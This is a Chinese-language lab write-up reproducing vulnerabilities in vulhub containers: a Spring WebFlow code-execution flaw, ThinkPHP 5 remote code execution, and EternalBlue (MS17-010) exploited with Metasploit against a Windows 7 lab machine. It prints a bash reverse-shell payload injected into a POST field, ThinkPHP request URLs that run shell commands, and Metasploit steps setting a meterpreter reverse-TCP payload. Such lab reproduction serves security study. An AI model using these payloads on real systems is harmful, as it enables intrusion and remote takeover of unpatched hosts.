Abstract: 复现代码执行漏洞,并用 metasploitms17_010 漏洞利用。

Table of Contents

  1. 代码执行漏洞
    1. 部署环境
    2. 漏洞复现
    3. thinkphp 远程代码执行漏洞
    4. 实验环境
    5. 扫描检测
    6. 启动 Metasploit
    7. 漏洞利用

代码执行漏洞

实验环境

  • vulhub
  • Spring WebFlow

部署环境

安装 docker 和 docker-compose

1
2
3
4
5
# 安装 docker
curl -s https://get.docker.com/ | sh
# 安装 docker-compose
curl -s https://bootstrap.pypa.io/get-pip.py | python
pip install docker-compose

docker 安装后只能启动 client,无法启动 server。解决方法如下:

1
2
3
4
wget  https://get.docker.com/gpg
rpmkeys --import ./gpg
systemctl start docker.service
docker version

下载环境

1
git clone https://github.com/vulhub/vulhub.git

启动,进入 vulhub 目录,比如本例中 vulhub/spring/CVE-2017-4927

1
2
# 环境启动后,访问 http://your-ip:8080
docker-compose up -d

漏洞复现

首先访问登录页面,用左边给的账号和密码登录系统。

图1 登录首页
访问 `http://your-ip:8080/hotels/1` ,点击“Book Hotel”,填写信息后,点击"Process",这一步开始抓包。

图2 点击订阅
![](/images/127spring4.png)
图3 填写信息
提交前打开"Burp"抓包。

图4 添加数据包后的相应
抓包后,在POST数据包中,添加一个字段:
1
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub

图5 URL编码
注意:URL编码
1
_(new+java.lang.ProcessBuilder("bash","-c","bash+-i +>%26+/dev/tcp/192.168.100.52/21+0>%261")).start()=vulhub

成功执行。

thinkphp 远程代码执行漏洞

1
2
cd vulhub/thinkphp/5-rce
docker-compose up -d

环境启动后,访问 http://your-ip:8080 即可看到ThinkPHP默认启动页面。

图6 ThinkPHP默认启动页面
#### 漏洞复现

直接访问

1
http://192.168.100.52:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

图7 执行phpinfo()
直接访问
1
http://192.168.100.52:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

图8 访问结果
### 永恒之蓝漏洞复现与利用

实验环境

攻击机

  • Kali Linux
  • IP 地址:192.168.100.63
  • 工具:
    • Metasploit
    • nmap

靶机

  • Windows 7 sp1 x64
  • IP 地址:192.168.100.119

扫描检测

先用 namp 对靶机进行端口扫描。

1
namp -sS -O 192.168.100.119

结果如下图1所示:

图1 nmap扫描结果

图9 nmap扫描结果
初步判断可以使用 `Ms17_010` 漏洞。

启动 Metasploit

1
msfconsole #启动软件

图10 msf启动界面
1
2
3
4
5
6
# 切换目录
msf > use auxiliary/scanner/smb/smb_ms17_010
# 设置靶机IP地址
msf auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.100.119
# 开始运行
msf auxiliary(scanner/smb/smb_ms17_010) > exploit

图11 运行结果
由图3可知,靶机确实存在 `Ms17_010` 漏洞。

漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
# 切换目录
msf > use exploit/windows/smb/ms17_010_eternalblue
# 设置靶机IP
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.100.119
rhost => 192.168.100.119
# 设置本地IP
msf exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.100.63
lhost => 192.168.100.63
# 设置payload
msf exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

msf exploit(windows/smb/ms17_010_eternalblue) >

图12 基础设置
1
msf exploit(windows/smb/ms17_010_eternalblue) > exploit

图13 成功获取 session
获取 shell 权限。

图14 执行命令